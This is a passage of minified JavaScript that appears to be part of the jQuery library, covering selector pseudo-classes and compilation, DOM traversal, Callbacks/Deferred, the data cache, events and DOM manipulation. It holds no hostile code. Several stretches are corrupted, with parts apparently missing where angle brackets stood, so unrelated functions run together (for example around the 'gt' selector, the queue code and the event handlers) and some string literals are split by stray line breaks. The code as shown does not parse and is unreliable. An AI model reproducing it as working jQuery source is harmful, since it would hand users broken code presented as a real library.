j,k,l,m,n,o,p=f!==g?"nextSibling":"previousSibling",q=b.parentNode,r=h&&b.nodeName.toLowerCase(),s=!i&&!h;if(q){if(f){while(p){l=b;while(l=l[p])if(h?l.nodeName.toLowerCase()===r:1===l.nodeType)return!1;o=p="only"===a&&!o&&"nextSibling"}return!0}if(o=[g?q.firstChild:q.lastChild],g&&s){k=q[u]||(q[u]={}),j=k[a]||[],n=j[0]===w&&j[1],m=j[0]===w&&j[2],l=n&&q.childNodes[n];while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if(1===l.nodeType&&++m&&l===b){k[a]=[w,n,m];break}}else if(s&&(j=(b[u]||(b[u]={}))[a])&&j[0]===w)m=j[1];else while(l=++n&&l&&l[p]||(m=n=0)||o.pop())if((h?l.nodeName.toLowerCase()===r:1===l.nodeType)&&++m&&(s&&((l[u]||(l[u]={}))[a]=[w,m]),l===b))break;return m-=e,m===d||m%d===0&&m/d>=0}}},PSEUDO:function(a,b){var c,e=d.pseudos[a]||d.setFilters[a.toLowerCase()]||ga.error("unsupported pseudo: "+a);return e[u]?e(b):e.length>1?(c=[a,a,"",b],d.setFilters.hasOwnProperty(a.toLowerCase())?ia(function(a,c){var d,f=e(a,b),g=f.length;while(g--)d=J(a,f[g]),a[d]=!(c[d]=f[g])}):function(a){return e(a,0,c)}):e}},pseudos:{not:ia(function(a){var b=[],c=[],d=h(a.replace(R,"$1"));return d[u]?ia(function(a,b,c,e){var f,g=d(a,null,e,[]),h=a.length;while(h--)(f=g[h])&&(a[h]=!(b[h]=f))}):function(a,e,f){return b[0]=a,d(b,null,f,c),b[0]=null,!c.pop()}}),has:ia(function(a){return function(b){return ga(a,b).length>0}}),contains:ia(function(a){return a=a.replace(ca,da),function(b){return(b.textContent||b.innerText||e(b)).indexOf(a)>-1}}),lang:ia(function(a){return W.test(a||"")||ga.error("unsupported lang: "+a),a=a.replace(ca,da).toLowerCase(),function(b){var c;do if(c=p?b.lang:b.getAttribute("xml:lang")||b.getAttribute("lang"))return c=c.toLowerCase(),c===a||0===c.indexOf(a+"-");while((b=b.parentNode)&&1===b.nodeType);return!1}}),target:function(b){var c=a.location&&a.location.hash;return c&&c.slice(1)===b.id},root:function(a){return a===o},focus:function(a){return a===n.activeElement&&(!n.hasFocus||n.hasFocus())&&!!(a.type||a.href||~a.tabIndex)},enabled:function(a){return a.disabled===!1},disabled:function(a){return a.disabled===!0},checked:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&!!a.checked||"option"===b&&!!a.selected},selected:function(a){return a.parentNode&&a.parentNode.selectedIndex,a.selected===!0},empty:function(a){for(a=a.firstChild;a;a=a.nextSibling)if(a.nodeType<6)return!1;return!0},parent:function(a){return!d.pseudos.empty(a)},header:function(a){return Z.test(a.nodeName)},input:function(a){return Y.test(a.nodeName)},button:function(a){var b=a.nodeName.toLowerCase();return"input"===b&&"button"===a.type||"button"===b},text:function(a){var b;return"input"===a.nodeName.toLowerCase()&&"text"===a.type&&(null==(b=a.getAttribute("type"))||"text"===b.toLowerCase())},first:oa(function(){return[0]}),last:oa(function(a,b){return[b-1]}),eq:oa(function(a,b,c){return[0>c?c+b:c]}),even:oa(function(a,b){for(var c=0;b>c;c+=2)a.push(c);return a}),odd:oa(function(a,b){for(var c=1;b>c;c+=2)a.push(c);return a}),lt:oa(function(a,b,c){for(var d=0>c?c+b:c;--d>=0;)a.push(d);return a}),gt:oa(function(a,b,c){for(var d=0>c?c+b:c;++db;b++)d+=a[b].value;return d}function sa(a,b,c){var d=b.dir,e=c&&"parentNode"===d,f=x++;return b.first?function(b,c,f){while(b=b[d])if(1===b.nodeType||e)return a(b,c,f)}:function(b,c,g){var h,i,j=[w,f];if(g){while(b=b[d])if((1===b.nodeType||e)&&a(b,c,g))return!0}else while(b=b[d])if(1===b.nodeType||e){if(i=b[u]||(b[u]={}),(h=i[d])&&h[0]===w&&h[1]===f)return j[2]=h[2];if(i[d]=j,j[2]=a(b,c,g))return!0}}}function ta(a){return a.length>1?function(b,c,d){var e=a.length;while(e--)if(!a[e](b,c,d))return!1;return!0}:a[0]}function ua(a,b,c){for(var d=0,e=b.length;e>d;d++)ga(a,b[d],c);return c}function va(a,b,c,d,e){for(var f,g=[],h=0,i=a.length,j=null!=b;i>h;h++)(f=a[h])&&(!c||c(f,d,e))&&(g.push(f),j&&b.push(h));return g}function wa(a,b,c,d,e,f){return d&&!d[u]&&(d=wa(d)),e&&!e[u]&&(e=wa(e,f)),ia(function(f,g,h,i){var j,k,l,m=[],n=[],o=g.length,p=f||ua(b||"*",h.nodeType?[h]:h,[]),q=!a||!f&&b?p:va(p,m,a,h,i),r=c?e||(f?a:o||d)?[]:g:q;if(c&&c(q,r,h,i),d){j=va(r,n),d(j,[],h,i),k=j.length;while(k--)(l=j[k])&&(r[n[k]]=!(q[n[k]]=l))}if(f){if(e||a){if(e){j=[],k=r.length;while(k--)(l=r[k])&&j.push(q[k]=l);e(null,r=[],j,i)}k=r.length;while(k--)(l=r[k])&&(j=e?J(f,l):m[k])>-1&&(f[j]=!(g[j]=l))}}else r=va(r===g?r.splice(o,r.length):r),e?e(null,g,r,i):H.apply(g,r)})}function xa(a){for(var b,c,e,f=a.length,g=d.relative[a[0].type],h=g||d.relative[" "],i=g?1:0,k=sa(function(a){return a===b},h,!0),l=sa(function(a){return J(b,a)>-1},h,!0),m=[function(a,c,d){var e=!g&&(d||c!==j)||((b=c).nodeType?k(a,c,d):l(a,c,d));return b=null,e}];f>i;i++)if(c=d.relative[a[i].type])m=[sa(ta(m),c)];else{if(c=d.filter[a[i].type].apply(null,a[i].matches),c[u]){for(e=++i;f>e;e++)if(d.relative[a[e].type])break;return wa(i>1&&ta(m),i>1&&ra(a.slice(0,i-1).concat({value:" "===a[i-2].type?"*":""})).replace(R,"$1"),c,e>i&&xa(a.slice(i,e)),f>e&&xa(a=a.slice(e)),f>e&&ra(a))}m.push(c)}return ta(m)}function ya(a,b){var c=b.length>0,e=a.length>0,f=function(f,g,h,i,k){var l,m,o,p=0,q="0",r=f&&[],s=[],t=j,u=f||e&&d.find.TAG("*",k),v=w+=null==t?1:Math.random()||.1,x=u.length;for(k&&(j=g!==n&&g);q!==x&&null!=(l=u[q]);q++){if(e&&l){m=0;while(o=a[m++])if(o(l,g,h)){i.push(l);break}k&&(w=v)}c&&((l=!o&&l)&&p--,f&&r.push(l))}if(p+=q,c&&q!==p){m=0;while(o=b[m++])o(r,s,g,h);if(f){if(p>0)while(q--)r[q]||s[q]||(s[q]=F.call(i));s=va(s)}H.apply(i,s),k&&!f&&s.length>0&&p+b.length>1&&ga.uniqueSort(i)}return k&&(w=v,j=t),r};return c?ia(f):f}return h=ga.compile=function(a,b){var c,d=[],e=[],f=A[a+" "];if(!f){b||(b=g(a)),c=b.length;while(c--)f=xa(b[c]),f[u]?d.push(f):e.push(f);f=A(a,ya(e,d)),f.selector=a}return f},i=ga.select=function(a,b,e,f){var i,j,k,l,m,n="function"==typeof a&&a,o=!f&&g(a=n.selector||a);if(e=e||[],1===o.length){if(j=o[0]=o[0].slice(0),j.length>2&&"ID"===(k=j[0]).type&&c.getById&&9===b.nodeType&&p&&d.relative[j[1].type]){if(b=(d.find.ID(k.matches[0].replace(ca,da),b)||[])[0],!b)return e;n&&(b=b.parentNode),a=a.slice(j.shift().value.length)}i=X.needsContext.test(a)?0:j.length;while(i--){if(k=j[i],d.relative[l=k.type])break;if((m=d.find[l])&&(f=m(k.matches[0].replace(ca,da),aa.test(j[0].type)&&pa(b.parentNode)||b))){if(j.splice(i,1),a=f.length&&ra(j),!a)return H.apply(e,f),e;break}}}return(n||h(a,o))(f,b,!p,e,aa.test(a)&&pa(b.parentNode)||b),e},c.sortStable=u.split("").sort(B).join("")===u,c.detectDuplicates=!!l,m(),c.sortDetached=ja(function(a){return 1&a.compareDocumentPosition(n.createElement("div"))}),ja(function(a){return a.innerHTML="","#"===a.firstChild.getAttribute("href")})||ka("type|href|height|width",function(a,b,c){return c?void 0:a.getAttribute(b,"type"===b.toLowerCase()?1:2)}),c.attributes&&ja(function(a){return a.innerHTML="",a.firstChild.setAttribute("value",""),""===a.firstChild.getAttribute("value")})||ka("value",function(a,b,c){return c||"input"!==a.nodeName.toLowerCase()?void 0:a.defaultValue}),ja(function(a){return null==a.getAttribute("disabled")})||ka(K,function(a,b,c){var d;return c?void 0:a[b]===!0?b.toLowerCase():(d=a.getAttributeNode(b))&&d.specified?d.value:null}),ga}(a);n.find=t,n.expr=t.selectors,n.expr[":"]=n.expr.pseudos,n.unique=t.uniqueSort,n.text=t.getText,n.isXMLDoc=t.isXML,n.contains=t.contains;var u=n.expr.match.needsContext,v=/^<(\w+)\s*\/?>(?:<\/\1>|)$/,w=/^.[^:#\[\.,]*$/;function x(a,b,c){if(n.isFunction(b))return n.grep(a,function(a,d){return!!b.call(a,d,a)!==c});if(b.nodeType)return n.grep(a,function(a){return a===b!==c});if("string"==typeof b){if(w.test(b))return n.filter(b,a,c);b=n.filter(b,a)}return n.grep(a,function(a){return g.call(b,a)>=0!==c})}n.filter=function(a,b,c){var d=b[0];return c&&(a=":not("+a+")"),1===b.length&&1===d.nodeType?n.find.matchesSelector(d,a)?[d]:[]:n.find.matches(a,n.grep(b,function(a){return 1===a.nodeType}))},n.fn.extend({find:function(a){var b,c=this.length,d=[],e=this;if("string"!=typeof a)return this.pushStack(n(a).filter(function(){for(b=0;c>b;b++)if(n.contains(e[b],this))return!0}));for(b=0;c>b;b++)n.find(a,e[b],d);return d=this.pushStack(c>1?n.unique(d):d),d.selector=this.selector?this.selector+" "+a:a,d},filter:function(a){return this.pushStack(x(this,a||[],!1))},not:function(a){return this.pushStack(x(this,a||[],!0))},is:function(a){return!!x(this,"string"==typeof a&&u.test(a)?n(a):a||[],!1).length}});var y,z=/^(?:\s*(<[\w\W]+>)[^>]*|#([\w-]*))$/,A=n.fn.init=function(a,b){var c,d;if(!a)return this;if("string"==typeof a){if(c="<"===a[0]&&">"===a[a.length-1]&&a.length>=3?[null,a,null]:z.exec(a),!c||!c[1]&&b)return!b||b.jquery?(b||y).find(a):this.constructor(b).find(a);if(c[1]){if(b=b instanceof n?b[0]:b,n.merge(this,n.parseHTML(c[1],b&&b.nodeType?b.ownerDocument||b:l,!0)),v.test(c[1])&&n.isPlainObject(b))for(c in b)n.isFunction(this[c])?this[c](b[c]):this.attr(c,b[c]);return this}return d=l.getElementById(c[2]),d&&d.parentNode&&(this.length=1,this[0]=d),this.context=l,this.selector=a,this}return a.nodeType?(this.context=this[0]=a,this.length=1,this):n.isFunction(a)?"undefined"!=typeof y.ready?y.ready(a):a(n):(void 0!==a.selector&&(this.selector=a.selector,this.context=a.context),n.makeArray(a,this))};A.prototype=n.fn,y=n(l);var B=/^(?:parents|prev(?:Until|All))/,C={children:!0,contents:!0,next:!0,prev:!0};n.extend({dir:function(a,b,c){var d=[],e=void 0!==c;while((a=a[b])&&9!==a.nodeType)if(1===a.nodeType){if(e&&n(a).is(c))break;d.push(a)}return d},sibling:function(a,b){for(var c=[];a;a=a.nextSibling)1===a.nodeType&&a!==b&&c.push(a);return c}}),n.fn.extend({has:function(a){var b=n(a,this),c=b.length;return this.filter(function(){for(var a=0;c>a;a++)if(n.contains(this,b[a]))return!0})},closest:function(a,b){for(var c,d=0,e=this.length,f=[],g=u.test(a)||"string"!=typeof a?n(a,b||this.context):0;e>d;d++)for(c=this[d];c&&c!==b;c=c.parentNode)if(c.nodeType<11&&(g?g.index(c)>-1:1===c.nodeType&&n.find.matchesSelector(c,a))){f.push(c);break}return this.pushStack(f.length>1?n.unique(f):f)},index:function(a){return a?"string"==typeof a?g.call(n(a),this[0]):g.call(this,a.jquery?a[0]:a):this[0]&&this[0].parentNode?this.first().prevAll().length:-1},add:function(a,b){return this.pushStack(n.unique(n.merge(this.get(),n(a,b))))},addBack:function(a){return this.add(null==a?this.prevObject:this.prevObject.filter(a))}});function D(a,b){while((a=a[b])&&1!==a.nodeType);return a}n.each({parent:function(a){var b=a.parentNode;return b&&11!==b.nodeType?b:null},parents:function(a){return n.dir(a,"parentNode")},parentsUntil:function(a,b,c){return n.dir(a,"parentNode",c)},next:function(a){return D(a,"nextSibling")},prev:function(a){return D(a,"previousSibling")},nextAll:function(a){return n.dir(a,"nextSibling")},prevAll:function(a){return n.dir(a,"previousSibling")},nextUntil:function(a,b,c){return n.dir(a,"nextSibling",c)},prevUntil:function(a,b,c){return n.dir(a,"previousSibling",c)},siblings:function(a){return n.sibling((a.parentNode||{}).firstChild,a)},children:function(a){return n.sibling(a.firstChild)},contents:function(a){return a.contentDocument||n.merge([],a.childNodes)}},function(a,b){n.fn[a]=function(c,d){var e=n.map(this,b,c);return"Until"!==a.slice(-5)&&(d=c),d&&"string"==typeof d&&(e=n.filter(d,e)),this.length>1&&(C[a]||n.unique(e),B.test(a)&&e.reverse()),this.pushStack(e)}});var E=/\S+/g,F={};function G(a){var b=F[a]={};return n.each(a.match(E)||[],function(a,c){b[c]=!0}),b}n.Callbacks=function(a){a="string"==typeof a?F[a]||G(a):n.extend({},a);var b,c,d,e,f,g,h=[],i=!a.once&&[],j=function(l){for(b=a.memory&&l,c=!0,g=e||0,e=0,f=h.length,d=!0;h&&f>g;g++)if(h[g].apply(l[0],l[1])===!1&&a.stopOnFalse){b=!1;break}d=!1,h&&(i?i.length&&j(i.shift()):b?h=[]:k.disable())},k={add:function(){if(h){var c=h.length;!function g(b){n.each(b,function(b,c){var d=n.type(c);"function"===d?a.unique&&k.has(c)||h.push(c):c&&c.length&&"string"!==d&&g(c)})}(arguments),d?f=h.length:b&&(e=c,j(b))}return this},remove:function(){return h&&n.each(arguments,function(a,b){var c;while((c=n.inArray(b,h,c))>-1)h.splice(c,1),d&&(f>=c&&f--,g>=c&&g--)}),this},has:function(a){return a?n.inArray(a,h)>-1:!(!h||!h.length)},empty:function(){return h=[],f=0,this},disable:function(){return h=i=b=void 0,this},disabled:function(){return!h},lock:function(){return i=void 0,b||k.disable(),this},locked:function(){return!i},fireWith:function(a,b){return!h||c&&!i||(b=b||[],b=[a,b.slice?b.slice():b],d?i.push(b):j(b)),this},fire:function(){return k.fireWith(this,arguments),this},fired:function(){return!!c}};return k},n.extend({Deferred:function(a){var b=[["resolve","done",n.Callbacks("once memory"),"resolved"],["reject","fail",n.Callbacks("once memory"),"rejected"],["notify","progress",n.Callbacks("memory")]],c="pending",d={state:function(){return c},always:function(){return e.done(arguments).fail(arguments),this},then:function(){var a=arguments;return n.Deferred(function(c){n.each(b,function(b,f){var g=n.isFunction(a[b])&&a[b];e[f[1]](function(){var a=g&&g.apply(this,arguments);a&&n.isFunction(a.promise)?a.promise().done(c.resolve).fail(c.reject).progress(c.notify):c[f[0]+"With"](this===d?c.promise():this,g?[a]:arguments)})}),a=null}).promise()},promise:function(a){return null!=a?n.extend(a,d):d}},e={};return d.pipe=d.then,n.each(b,function(a,f){var g=f[2],h=f[3];d[f[1]]=g.add,h&&g.add(function(){c=h},b[1^a][2].disable,b[2][2].lock),e[f[0]]=function(){return e[f[0]+"With"](this===e?d:this,arguments),this},e[f[0]+"With"]=g.fireWith}),d.promise(e),a&&a.call(e,e),e},when:function(a){var b=0,c=d.call(arguments),e=c.length,f=1!==e||a&&n.isFunction(a.promise)?e:0,g=1===f?a:n.Deferred(),h=function(a,b,c){return function(e){b[a]=this,c[a]=arguments.length>1?d.call(arguments):e,c===i?g.notifyWith(b,c):--f||g.resolveWith(b,c)}},i,j,k;if(e>1)for(i=new Array(e),j=new Array(e),k=new Array(e);e>b;b++)c[b]&&n.isFunction(c[b].promise)?c[b].promise().done(h(b,k,c)).fail(g.reject).progress(h(b,j,i)):--f;return f||g.resolveWith(k,c),g.promise()}});var H;n.fn.ready=function(a){return n.ready.promise().done(a),this},n.extend({isReady:!1,readyWait:1,holdReady:function(a){a?n.readyWait++:n.ready(!0)},ready:function(a){(a===!0?--n.readyWait:n.isReady)||(n.isReady=!0,a!==!0&&--n.readyWait>0||(H.resolveWith(l,[n]),n.fn.triggerHandler&&(n(l).triggerHandler("ready"),n(l).off("ready"))))}});function I(){l.removeEventListener("DOMContentLoaded",I,!1),a.removeEventListener("load",I,!1),n.ready()}n.ready.promise=function(b){return H||(H=n.Deferred(),"complete"===l.readyState?setTimeout(n.ready):(l.addEventListener("DOMContentLoaded",I,!1),a.addEventListener("load",I,!1))),H.promise(b)},n.ready.promise();var J=n.access=function(a,b,c,d,e,f,g){var h=0,i=a.length,j=null==c;if("object"===n.type(c)){e=!0;for(h in c)n.access(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,n.isFunction(d)||(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(n(a),c)})),b))for(;i>h;h++)b(a[h],c,g?d:d.call(a[h],h,b(a[h],c)));return e?a:j?b.call(a):i?b(a[0],c):f};n.acceptData=function(a){return 1===a.nodeType||9===a.nodeType||!+a.nodeType};function K(){Object.defineProperty(this.cache={},0,{get:function(){return{}}}),this.expando=n.expando+K.uid++}K.uid=1,K.accepts=n.acceptData,K.prototype={key:function(a){if(!K.accepts(a))return 0;var b={},c=a[this.expando];if(!c){c=K.uid++;try{b[this.expando]={value:c},Object.defineProperties(a,b)}catch(d){b[this.expando]=c,n.extend(a,b)}}return this.cache[c]||(this.cache[c]={}),c},set:function(a,b,c){var d,e=this.key(a),f=this.cache[e];if("string"==typeof b)f[b]=c;else if(n.isEmptyObject(f))n.extend(this.cache[e],b);else for(d in b)f[d]=b[d];return f},get:function(a,b){var c=this.cache[this.key(a)];return void 0===b?c:c[b]},access:function(a,b,c){var d;return void 0===b||b&&"string"==typeof b&&void 0===c?(d=this.get(a,b),void 0!==d?d:this.get(a,n.camelCase(b))):(this.set(a,b,c),void 0!==c?c:b)},remove:function(a,b){var c,d,e,f=this.key(a),g=this.cache[f];if(void 0===b)this.cache[f]={};else{n.isArray(b)?d=b.concat(b.map(n.camelCase)):(e=n.camelCase(b),b in g?d=[b,e]:(d=e,d=d in g?[d]:d.match(E)||[])),c=d.length;while(c--)delete g[d[c]]}},hasData:function(a){return!n.isEmptyObject(this.cache[a[this.expando]]||{})},discard:function(a){a[this.expando]&&delete this.cache[a[this.expando]]}};var L=new K,M=new K,N=/^(?:\{[\w\W]*\}|\[[\w\W]*\])$/,O=/([A-Z])/g;function P(a,b,c){var d;if(void 0===c&&1===a.nodeType)if(d="data-"+b.replace(O,"-$1").toLowerCase(),c=a.getAttribute(d),"string"==typeof c){try{c="true"===c?!0:"false"===c?!1:"null"===c?null:+c+""===c?+c:N.test(c)?n.parseJSON(c):c}catch(e){}M.set(a,b,c)}else c=void 0;return c}n.extend({hasData:function(a){return M.hasData(a)||L.hasData(a)},data:function(a,b,c){ +return M.access(a,b,c)},removeData:function(a,b){M.remove(a,b)},_data:function(a,b,c){return L.access(a,b,c)},_removeData:function(a,b){L.remove(a,b)}}),n.fn.extend({data:function(a,b){var c,d,e,f=this[0],g=f&&f.attributes;if(void 0===a){if(this.length&&(e=M.get(f),1===f.nodeType&&!L.get(f,"hasDataAttrs"))){c=g.length;while(c--)g[c]&&(d=g[c].name,0===d.indexOf("data-")&&(d=n.camelCase(d.slice(5)),P(f,d,e[d])));L.set(f,"hasDataAttrs",!0)}return e}return"object"==typeof a?this.each(function(){M.set(this,a)}):J(this,function(b){var c,d=n.camelCase(a);if(f&&void 0===b){if(c=M.get(f,a),void 0!==c)return c;if(c=M.get(f,d),void 0!==c)return c;if(c=P(f,d,void 0),void 0!==c)return c}else this.each(function(){var c=M.get(this,d);M.set(this,d,b),-1!==a.indexOf("-")&&void 0!==c&&M.set(this,a,b)})},null,b,arguments.length>1,null,!0)},removeData:function(a){return this.each(function(){M.remove(this,a)})}}),n.extend({queue:function(a,b,c){var d;return a?(b=(b||"fx")+"queue",d=L.get(a,b),c&&(!d||n.isArray(c)?d=L.access(a,b,n.makeArray(c)):d.push(c)),d||[]):void 0},dequeue:function(a,b){b=b||"fx";var c=n.queue(a,b),d=c.length,e=c.shift(),f=n._queueHooks(a,b),g=function(){n.dequeue(a,b)};"inprogress"===e&&(e=c.shift(),d--),e&&("fx"===b&&c.unshift("inprogress"),delete f.stop,e.call(a,g,f)),!d&&f&&f.empty.fire()},_queueHooks:function(a,b){var c=b+"queueHooks";return L.get(a,c)||L.access(a,c,{empty:n.Callbacks("once memory").add(function(){L.remove(a,[b+"queue",c])})})}}),n.fn.extend({queue:function(a,b){var c=2;return"string"!=typeof a&&(b=a,a="fx",c--),arguments.lengthx",k.noCloneChecked=!!b.cloneNode(!0).lastChild.defaultValue}();var U="undefined";k.focusinBubbles="onfocusin"in a;var V=/^key/,W=/^(?:mouse|pointer|contextmenu)|click/,X=/^(?:focusinfocus|focusoutblur)$/,Y=/^([^.]*)(?:\.(.+)|)$/;function Z(){return!0}function $(){return!1}function _(){try{return l.activeElement}catch(a){}}n.event={global:{},add:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.get(a);if(r){c.handler&&(f=c,c=f.handler,e=f.selector),c.guid||(c.guid=n.guid++),(i=r.events)||(i=r.events={}),(g=r.handle)||(g=r.handle=function(b){return typeof n!==U&&n.event.triggered!==b.type?n.event.dispatch.apply(a,arguments):void 0}),b=(b||"").match(E)||[""],j=b.length;while(j--)h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o&&(l=n.event.special[o]||{},o=(e?l.delegateType:l.bindType)||o,l=n.event.special[o]||{},k=n.extend({type:o,origType:q,data:d,handler:c,guid:c.guid,selector:e,needsContext:e&&n.expr.match.needsContext.test(e),namespace:p.join(".")},f),(m=i[o])||(m=i[o]=[],m.delegateCount=0,l.setup&&l.setup.call(a,d,p,g)!==!1||a.addEventListener&&a.addEventListener(o,g,!1)),l.add&&(l.add.call(a,k),k.handler.guid||(k.handler.guid=c.guid)),e?m.splice(m.delegateCount++,0,k):m.push(k),n.event.global[o]=!0)}},remove:function(a,b,c,d,e){var f,g,h,i,j,k,l,m,o,p,q,r=L.hasData(a)&&L.get(a);if(r&&(i=r.events)){b=(b||"").match(E)||[""],j=b.length;while(j--)if(h=Y.exec(b[j])||[],o=q=h[1],p=(h[2]||"").split(".").sort(),o){l=n.event.special[o]||{},o=(d?l.delegateType:l.bindType)||o,m=i[o]||[],h=h[2]&&new RegExp("(^|\\.)"+p.join("\\.(?:.*\\.|)")+"(\\.|$)"),g=f=m.length;while(f--)k=m[f],!e&&q!==k.origType||c&&c.guid!==k.guid||h&&!h.test(k.namespace)||d&&d!==k.selector&&("**"!==d||!k.selector)||(m.splice(f,1),k.selector&&m.delegateCount--,l.remove&&l.remove.call(a,k));g&&!m.length&&(l.teardown&&l.teardown.call(a,p,r.handle)!==!1||n.removeEvent(a,o,r.handle),delete i[o])}else for(o in i)n.event.remove(a,o+b[j],c,d,!0);n.isEmptyObject(i)&&(delete r.handle,L.remove(a,"events"))}},trigger:function(b,c,d,e){var f,g,h,i,k,m,o,p=[d||l],q=j.call(b,"type")?b.type:b,r=j.call(b,"namespace")?b.namespace.split("."):[];if(g=h=d=d||l,3!==d.nodeType&&8!==d.nodeType&&!X.test(q+n.event.triggered)&&(q.indexOf(".")>=0&&(r=q.split("."),q=r.shift(),r.sort()),k=q.indexOf(":")<0&&"on"+q,b=b[n.expando]?b:new n.Event(q,"object"==typeof b&&b),b.isTrigger=e?2:3,b.namespace=r.join("."),b.namespace_re=b.namespace?new RegExp("(^|\\.)"+r.join("\\.(?:.*\\.|)")+"(\\.|$)"):null,b.result=void 0,b.target||(b.target=d),c=null==c?[b]:n.makeArray(c,[b]),o=n.event.special[q]||{},e||!o.trigger||o.trigger.apply(d,c)!==!1)){if(!e&&!o.noBubble&&!n.isWindow(d)){for(i=o.delegateType||q,X.test(i+q)||(g=g.parentNode);g;g=g.parentNode)p.push(g),h=g;h===(d.ownerDocument||l)&&p.push(h.defaultView||h.parentWindow||a)}f=0;while((g=p[f++])&&!b.isPropagationStopped())b.type=f>1?i:o.bindType||q,m=(L.get(g,"events")||{})[b.type]&&L.get(g,"handle"),m&&m.apply(g,c),m=k&&g[k],m&&m.apply&&n.acceptData(g)&&(b.result=m.apply(g,c),b.result===!1&&b.preventDefault());return b.type=q,e||b.isDefaultPrevented()||o._default&&o._default.apply(p.pop(),c)!==!1||!n.acceptData(d)||k&&n.isFunction(d[q])&&!n.isWindow(d)&&(h=d[k],h&&(d[k]=null),n.event.triggered=q,d[q](),n.event.triggered=void 0,h&&(d[k]=h)),b.result}},dispatch:function(a){a=n.event.fix(a);var b,c,e,f,g,h=[],i=d.call(arguments),j=(L.get(this,"events")||{})[a.type]||[],k=n.event.special[a.type]||{};if(i[0]=a,a.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,a)!==!1){h=n.event.handlers.call(this,a,j),b=0;while((f=h[b++])&&!a.isPropagationStopped()){a.currentTarget=f.elem,c=0;while((g=f.handlers[c++])&&!a.isImmediatePropagationStopped())(!a.namespace_re||a.namespace_re.test(g.namespace))&&(a.handleObj=g,a.data=g.data,e=((n.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(a.result=e)===!1&&(a.preventDefault(),a.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,a),a.result}},handlers:function(a,b){var c,d,e,f,g=[],h=b.delegateCount,i=a.target;if(h&&i.nodeType&&(!a.button||"click"!==a.type))for(;i!==this;i=i.parentNode||this)if(i.disabled!==!0||"click"!==a.type){for(d=[],c=0;h>c;c++)f=b[c],e=f.selector+" ",void 0===d[e]&&(d[e]=f.needsContext?n(e,this).index(i)>=0:n.find(e,this,null,[i]).length),d[e]&&d.push(f);d.length&&g.push({elem:i,handlers:d})}return h]*)\/>/gi,ba=/<([\w:]+)/,ca=/<|&#?\w+;/,da=/<(?:script|style|link)/i,ea=/checked\s*(?:[^=]|=\s*.checked.)/i,fa=/^$|\/(?:java|ecma)script/i,ga=/^true\/(.*)/,ha=/^\s*\s*$/g,ia={option:[1,""],thead:[1,"","
    "],col:[2,"","
    "],tr:[2,"","
    "],td:[3,"","
    "],_default:[0,"",""]};ia.optgroup=ia.option,ia.tbody=ia.tfoot=ia.colgroup=ia.caption=ia.thead,ia.th=ia.td;function ja(a,b){return n.nodeName(a,"table")&&n.nodeName(11!==b.nodeType?b:b.firstChild,"tr")?a.getElementsByTagName("tbody")[0]||a.appendChild(a.ownerDocument.createElement("tbody")):a}function ka(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function la(a){var b=ga.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function ma(a,b){for(var c=0,d=a.length;d>c;c++)L.set(a[c],"globalEval",!b||L.get(b[c],"globalEval"))}function na(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(L.hasData(a)&&(f=L.access(a),g=L.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;d>c;c++)n.event.add(b,e,j[e][c])}M.hasData(a)&&(h=M.access(a),i=n.extend({},h),M.set(b,i))}}function oa(a,b){var c=a.getElementsByTagName?a.getElementsByTagName(b||"*"):a.querySelectorAll?a.querySelectorAll(b||"*"):[];return void 0===b||b&&n.nodeName(a,b)?n.merge([a],c):c}function pa(a,b){var c=b.nodeName.toLowerCase();"input"===c&&T.test(a.type)?b.checked=a.checked:("input"===c||"textarea"===c)&&(b.defaultValue=a.defaultValue)}n.extend({clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=n.contains(a.ownerDocument,a);if(!(k.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||n.isXMLDoc(a)))for(g=oa(h),f=oa(a),d=0,e=f.length;e>d;d++)pa(f[d],g[d]);if(b)if(c)for(f=f||oa(a),g=g||oa(h),d=0,e=f.length;e>d;d++)na(f[d],g[d]);else na(a,h);return g=oa(h,"script"),g.length>0&&ma(g,!i&&oa(a,"script")),h},buildFragment:function(a,b,c,d){for(var e,f,g,h,i,j,k=b.createDocumentFragment(),l=[],m=0,o=a.length;o>m;m++)if(e=a[m],e||0===e)if("object"===n.type(e))n.merge(l,e.nodeType?[e]:e);else if(ca.test(e)){f=f||k.appendChild(b.createElement("div")),g=(ba.exec(e)||["",""])[1].toLowerCase(),h=ia[g]||ia._default,f.innerHTML=h[1]+e.replace(aa,"<$1>")+h[2],j=h[0];while(j--)f=f.lastChild;n.merge(l,f.childNodes),f=k.firstChild,f.textContent=""}else l.push(b.createTextNode(e));k.textContent="",m=0;while(e=l[m++])if((!d||-1===n.inArray(e,d))&&(i=n.contains(e.ownerDocument,e),f=oa(k.appendChild(e),"script"),i&&ma(f),c)){j=0;while(e=f[j++])fa.test(e.type||"")&&c.push(e)}return k},cleanData:function(a){for(var b,c,d,e,f=n.event.special,g=0;void 0!==(c=a[g]);g++){if(n.acceptData(c)&&(e=c[L.expando],e&&(b=L.cache[e]))){if(b.events)for(d in b.events)f[d]?n.event.remove(c,d):n.removeEvent(c,d,b.handle);L.cache[e]&&delete L.cache[e]}delete M.cache[c[M.expando]]}}}),n.fn.extend({text:function(a){return J(this,function(a){return void 0===a?n.text(this):this.empty().each(function(){(1===this.nodeType||11===this.nodeType||9===this.nodeType)&&(this.textContent=a)})},null,a,arguments.length)},append:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.appendChild(a)}})},prepend:function(){return this.domManip(arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=ja(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return this.domManip(arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return 